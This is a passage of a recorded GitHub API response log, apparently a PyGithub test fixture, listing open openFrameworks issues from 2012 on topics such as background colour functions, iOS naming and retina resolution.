big","user":{"login":"eelke","id":738902,"avatar_url":"https://secure.gravatar.com/avatar/67ec8bd4dafbc12cee712c95f510cdb4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"67ec8bd4dafbc12cee712c95f510cdb4","url":"https://api.github.com/users/eelke","html_url":"https://github.com/eelke","followers_url":"https://api.github.com/users/eelke/followers","following_url":"https://api.github.com/users/eelke/following","gists_url":"https://api.github.com/users/eelke/gists{/gist_id}","starred_url":"https://api.github.com/users/eelke/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/eelke/subscriptions","organizations_url":"https://api.github.com/users/eelke/orgs","repos_url":"https://api.github.com/users/eelke/repos","events_url":"https://api.github.com/users/eelke/events{/privacy}","received_events_url":"https://api.github.com/users/eelke/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-07-16T10:16:18Z","updated_at":"2012-07-16T10:17:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When there are many addons in the directory, the list gets too big to display.\nThis makes it impossible to select the hidden addons. \n\n[Example](http://i.imgur.com/ONUBH.png)\n\n(Clearified this happens with the Project Generator)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1401","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1401/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1401/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1401/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1401","id":5628493,"number":1401,"title":"ofGetBackgroundColor: removed ofBgColorPtr added ofGetBackgroundColor","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":6,"created_at":"2012-07-15T18:02:27Z","updated_at":"2013-03-09T22:31:50Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1401","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1401.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1401.patch"},"body":"removes ofBgColorPtr and adds ofGetBackgroundColor to fix redundancy in defaultStyle.bgColor and renderer.bgColor. Fixes a problem with ofSetBackgroundColor not setting the color.\n\nwarning! changes current api"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1400","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1400/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1400/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1400/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1400","id":5620920,"number":1400,"title":"ofSetBackgroundColor not working?","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-07-14T15:24:18Z","updated_at":"2012-10-19T14:52:59Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"is it meant to change the background color in the same way ofBackground does? \nwhat is a simple use case for it? \n\nlooking at the code it sets a color, but I don't see that color being applied to the window. \n\n\t\t//----------------------------------------------------------\n\t\tvoid ofSetBackgroundColor(int r, int g, int b, int a){\n\t\t\tcurrentStyle.bgColor.set(r,g,b,a);\n\t\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1396","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1396/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1396/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1396/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1396","id":5528308,"number":1396,"title":"feature: better shader examples","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":13,"created_at":"2012-07-10T17:01:46Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey all!\n\nI'd like to push for more shader examples.\nI'd even like to suggest we separate shader examples out into another folder (move out of 'gl' folder into 'shader' folder)\n\nhere's a first example: (watch out for the abrasive fan!)\nhttp://www.youtube.com/watch?v=crHWEJ-xq3s&feature=youtu.be"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1387","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1387/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1387/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1387/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1387","id":5460543,"number":1387,"title":"weird enableAlpha in ofTexture:draw","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-07-06T08:10:38Z","updated_at":"2012-07-06T13:23:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofTexture.cpp#L1057\n\ni guess this shouldn't be there, but just in case anyone knows why it's there before removing, it seems it comes from a commit from @rsodre: 032d31cda0a29324c42bfc651e52950b3fdc8db3"}] https GET api.github.com None /repositories/345337/issues?page=3&per_page=100 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '326617'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 11 Mar 2013 10:11:56 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"9d1c9cd0db105699c994ba8b16296c1b"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Mar 2013 10:13:05 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1385","id":5447789,"number":1385,"title":"ofOpenALSoundPlayer.cpp vs ofxOpenALSoundPlayer.cpp ?","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-07-05T16:29:56Z","updated_at":"2012-07-05T16:51:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Right now we have two OpenAL based sound players in OF. \nOne is part of ofxiPhone and one is part of the core.\n\nJust curious if the core ofOpenALSoundPlayer.cpp could be used by iOS and if we could drop/merge ofxOpenALSoundPlayer.cpp ? \nSeems weird to have both.\n\n@damiannz @julapy what do you think?\n\nTheo"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1382","id":5436804,"number":1382,"title":"rename ofxiPhone to ofxiOS","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":25,"created_at":"2012-07-05T02:48:59Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"think it might be time to rename ofxiPhone to ofxiOS.\nits one of those things that consistently bugs me every time i have to create a new class beginning with ofxiPhone.\niOS has moved beyond just the iPhone and i think the current naming convention can be confusing.\n\nthis will involve going through and renaming all ofxiPhone classes and adjusting all iOS examples.\n\nplease let me know if anyone has any objections to this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1379","id":5425486,"number":1379,"title":"iOS: iPad retina ofGetWidth/Height are 2048x1536","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":29,"created_at":"2012-07-04T10:27:33Z","updated_at":"2013-02-16T10:15:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"as per subject line. my suggestion/preference would be for retina to return 1024x768, same as on iOS, to be consistent with the paradigm that iOS uses normally, allowing retina and non-retina code to be identical in the testApp.\n\ni don't know how this is on iphone/ipod touch though."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1365","id":5367217,"number":1365,"title":"projectGenerator doesn't create complete iOS moviePlayerExample project","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-30T12:25:54Z","updated_at":"2012-06-30T12:25:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"as per title, running projectGenerator on the moviePlayerExample folder skips a number of files necessary (VideoPlayerControls.* and VideoPlayerControlsDelegateForOF.*). as a result the example won't compile."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1364","id":5365386,"number":1364,"title":"ofDirectShowGrabber glitches on non-native sizes","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-30T03:41:12Z","updated_at":"2012-06-30T03:42:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"for example, when you ask for 1281x721 it will just display a black image. the pixels are definitely there, but there's some kind of texture bug. videoInput is reporting correctly that the width/height are different than the requested width/height, but ofDirectShowGrabber is not handling that correctly.\n\nalso, we should be using the built in resizing features in other parts of OF now if we can, instead of duplicating the resizing code :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1362","id":5357380,"number":1362,"title":"simple text file loading and 